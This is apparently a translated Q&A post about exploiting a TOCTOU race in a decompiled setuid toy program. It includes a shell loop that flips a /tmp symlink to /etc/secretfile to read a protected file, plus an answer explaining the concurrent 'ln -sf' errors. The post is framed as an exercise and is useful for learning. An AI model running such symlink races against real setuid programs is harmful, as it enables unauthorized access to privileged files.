尝试手动触发竞争条件时 ln 失败

ln fails when trying to manully trigger race conditoin

这只是一个练习。我不是想利用什么...

我有一个 setuid 玩具程序可以利用(反编译版本):

int main(int argc, const char **argv)
{
  int v3, v4, v5;
  int result;
  int v7;
  int v8;
  int v9;
  int v10;

  memset(&v9, 0, 0x14u);
  if ( !access("/tmp/exploitme", 4) )
  {
    v3 = geteuid();
    v4 = geteuid();
    v5 = geteuid();
    setresuid(v5, v4, v3, argv);
    v8 = open("/tmp/exploitme", 0);
    if ( v8 < 0 )
      exit(-1);
    read(v8, &v9, 0x13u);
    write(1, &v9, 0x13u);
  }
  result = 0;
  return result;
}

accessopen 之间存在竞争条件。 所以这是脚本,我使用经典技巧:改变 nice 值以降低调度优先级。

#!/bin/sh
        touch /tmp/myfile
        while true; do
                ln -sf /tmp/myfile /tmp/exploitme &
                nice -15 /workspace/toy &
                ln -sf /etc/secretfile /tmp/exploitme &
        done

但是我从脚本中得到了这些错误:

ln: failed to create symbolic link '/tmp/expolitme': File exists
ln: cannot remove '/tmp/expolit': No such file or directory

我已经使用 ln 的 -f 选项来强制创建符号链接。为什么我会出现这些错误?

问题在于您调用 ln-- 同时调用多个实例的方式。 ln "forces" 符号链接的方式是 unlinks(删除)目标并重新创建它。但是您同时调用多个 ln 实例,这会导致与其他对 ln 的调用发生竞争。因为一个或多个实例取消了 tmp/exploitme 的链接,但其他一些实例已经创建了新的 /tmp/exploitme;所以"file exists"。如果您不在后台生成多个 ln 实例,您将不会发现此问题。

让我展示一个包含 2 个实例的示例:A 和 B

Instance A                           Instance B 

Calls ln                             Calls ln 

Deletes /tmp/expolitme if exists     Deletes /tmp/expolitme if exists

Creates /tmp/expolitme

                                     Creates /tmp/expolitme 
                                     (File exists - because A created it already)